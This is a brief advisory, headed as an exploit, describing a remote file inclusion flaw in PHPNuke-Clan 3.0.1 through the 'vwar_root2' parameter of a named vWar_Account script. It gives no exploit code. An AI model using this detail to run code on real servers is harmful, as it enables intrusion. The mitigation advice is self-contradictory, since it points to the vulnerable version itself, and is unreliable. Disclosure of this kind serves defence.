PHPNuke-Clan 3.0.1 Remote File Inclusion Exploit

PHPNuke-Clan 3.0.1 is vulnerable to a Remote File Inclusion vulnerability which allows an attacker to execute arbitrary code on the vulnerable server. This vulnerability is due to the 'modules/vWar_Account/includes/functions_common.php' script not properly sanitizing user input supplied to the 'vwar_root2' parameter. An attacker can exploit this issue to execute arbitrary PHP code on the affected computer with the privileges of the webserver process.

Mitigation:

Upgrade to the latest version of PHPNuke-Clan 3.0.1 or apply the appropriate patch.
